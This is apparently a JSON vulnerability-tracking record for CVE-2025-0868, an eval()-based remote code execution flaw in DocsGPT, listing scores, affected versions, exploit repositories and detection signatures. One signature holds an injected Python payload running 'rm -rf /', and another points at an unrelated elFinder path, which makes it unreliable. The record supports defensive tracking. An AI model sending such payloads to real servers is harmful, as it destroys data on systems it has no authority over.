{
  "id": "CVE-2025-0868",
  "url": "https://poc.griffinguard.io/cve/CVE-2025-0868",
  "published_at": "2025-02-20T11:26:11.784Z",
  "title": "Remote Code Execution in DocsGPT",
  "vendor": "Arc53",
  "product": "DocsGPT",
  "cvss": {
    "score": 9.3,
    "source": "cna",
    "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  },
  "kev": {
    "in_kev": false,
    "added_at": null,
    "days_after_publication": null
  },
  "first_poc": {
    "created_at": "2025-02-25T10:34:07Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": 5,
    "source": "nuclei",
    "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-0868.yaml"
  },
  "poc_repo_count": 2,
  "exploit_count": 2,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint..\n\nThis issue affects DocsGPT: from 0.8.1 through 0.12.0.",
  "cwe": "CWE-95",
  "cvss_by_source": {
    "cna": 9.3
  },
  "repos": [
    {
      "repo": "pbuff07/waf_repeater",
      "url": "https://github.com/pbuff07/waf_repeater",
      "created_at": "2025-05-09T07:08:02Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 17,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2022-11-12T09:27:42Z"
    },
    {
      "repo": "aidana-gift/CVE-2025-0868",
      "url": "https://github.com/aidana-gift/CVE-2025-0868",
      "created_at": "2025-05-25T13:14:41Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2019-06-24T15:41:03Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "Arc53",
        "product": "DocsGPT",
        "ranges": [
          "\u003e= 0.8.1, \u003c= 0.12.0"
        ],
        "fixed_in": null
      },
      {
        "vendor": "",
        "product": "docsgpt",
        "ranges": [
          "\u003e= 0.8.1, \u003c= 0.12.0"
        ],
        "fixed_in": null,
        "ecosystem": "npm",
        "advisory": "GHSA-9gff-5v8w-x922"
      }
    ]
  },
  "exploit_refs": [
    {
      "url": "https://www.exploit-db.com/exploits/52145",
      "source": "exploitdb",
      "title": "DocsGPT 0.12.0 - Remote Code Execution",
      "published_at": "2025-04-09T00:00:00Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    },
    {
      "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-0868.yaml",
      "source": "nuclei",
      "title": "nuclei template: DocsGPT - Unauthenticated Remote Code Execution",
      "published_at": "2025-02-25T10:34:07Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "POST",
      "path_template": "//cwbase/web/themes/elfinder/php/connector.minimal.php",
      "headers": [
        {
          "name": "Accept",
          "value": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
        },
        {
          "name": "Accept-Language",
          "value": "zh-CN,zh;q=0.9,en;q=0.8"
        },
        {
          "name": "Cookie",
          "value": "id=4878d749336b447428d5a36114e9bfac"
        },
        {
          "name": "If-Modified-Since",
          "value": "Sun, 07 Aug 2022 14:54:27 GMT"
        },
        {
          "name": "If-None-Match",
          "value": "\"62efd223-3\""
        },
        {
          "name": "Upgrade-Insecure-Requests",
          "value": "1"
        }
      ],
      "body_markers": [
        "target=l1_\u003c@base64\u003e/var/www/html/elfinder/files/\u003c@/base64\u003e",
        "downLoad=1"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "user_agents": [
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
      ],
      "protocol": "https",
      "repos": [
        "pbuff07/waf_repeater"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "pbuff07/waf_repeater/README.md:59",
        "pbuff07/waf_repeater/payload.txt:1"
      ]
    },
    {
      "method": "POST",
      "path_template": "/api/remote",
      "body_markers": [
        "\"data\":\"__import__('os').system('rm -rf /')\""
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        7091
      ],
      "protocol": "http",
      "repos": [
        "aidana-gift/CVE-2025-0868"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "aidana-gift/CVE-2025-0868/CVE-2025-0868.py:16",
        "aidana-gift/CVE-2025-0868/README.md:66",
        "aidana-gift/CVE-2025-0868/README.md:97"
      ]
    }
  ],
  "rules": []
}
